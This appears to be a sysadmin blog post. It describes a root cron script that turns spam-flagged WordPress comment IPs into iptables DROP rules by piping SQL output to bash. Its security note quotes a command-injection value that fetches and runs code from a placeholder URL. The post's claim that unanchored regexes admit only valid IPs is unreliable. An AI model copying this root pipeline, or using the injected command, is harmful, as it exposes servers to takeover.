Bernews attracts a lot of comment spam. Almost all of it is blocked by Akismet but the spammers still use up server resources (network, CPU, disk). To reduce the impact of the worst spammers we have started using iptables to block them. That is very straightforward to do because we can just query the WordPress database to get that information.
Once an hour the root user runs a script which blocks the IP addresses that have generated at least 10 comments which were marked as spam. To avoid generating unlimited rules we limit the list to the 256 addresses with the most spam. The script looks like this:
#!/bin/bash
/sbin/iptables --flush
/usr/bin/mysql --batch --skip-column-names --host=HOST --user=USER --password=PASSWORD "--execute=SELECT t.iptables FROM (SELECT CONCAT(/sbin/iptables -I INPUT -s ', c.comment_author_ip, ' -j DROP -m comment --comment \'', COUNT(*), ' spam comments\'') as iptables, COUNT(*) as instances, c.comment_author_ip FROM wp_comments AS c WHERE c.comment_approved ='spam' AND c.comment_author_ip REGEXP '[0-9]+.[0-9]+.[0-9]+.[0-9]' GROUP BY c.comment_author_IP HAVING instances >= 10 ORDER BY instances DESC LIMIT 256) AS t WHERE t.comment_author_ip REGEXP '[0-9]{1,3}[.][0-9]{1,3}[.][0-9]{1,3}[.][0-9]{1,3}'" wordpress | /bin/bash
The script results in rules like this:
Chain INPUT (policy ACCEPT) target prot opt source destination DROP all -- 27.159.221.180 anywhere /* 10 spam comments */ DROP all -- anon-184-65.vpn.ipredator.se anywhere /* 10 spam comments */ DROP all -- h176-227-197-109.host.redstation.co.uk anywhere /* 10 spam comments */ ... DROP all -- 91.236.75.2 anywhere /* 91 spam comments */ DROP all -- 46-105-52-167.kimsufi.com anywhere /* 104 spam comments */ DROP all -- 91.236.74.249 anywhere /* 130 spam comments */ DROP all -- 192.74.228.161 anywhere /* 152 spam comments */ DROP all -- 192.74.228.145 anywhere /* 168 spam comments */ DROP all -- sd-35481.dedibox.fr anywhere /* 172 spam comments */ DROP all -- 31.14.132.148 anywhere /* 205 spam comments */ DROP all -- 61.183.15.68 anywhere /* 279 spam comments */ DROP all -- 192.74.228.177 anywhere /* 359 spam comments */
Spam comments older than 15 days are deleted so blocked IP addresses will be unblocked after 2 weeks. This will either:
a) Unblock people who got a previously blocked IP address.
b) Allow the spammers to post another 10 spam comments.
Security note: We are pulling information from the database and using it to construct commands that will be run as root. We want to avoid privilege escalation bugs where an attacker creates data where the comment_author_ip column is something like “; curl BAD_URL > /tmp/x; /bin/sh /tmp/x; echo” resulting in the execution of
sudo /sbin/iptables -I INPUT -s; curl BAD_URL > /tmp/x; /bin/sh /tmp/x; echo -j DROP -m comment --comment '10 spam comments'
To avoid that we add “AND c.comment_author_ip REGEXP ‘[0-9]+.[0-9]+.[0-9]+.[0-9]‘” to a WHERE clause so that only valid IP addresses are extracted. We filter after grouping to reduce the amount of regular expression processing.
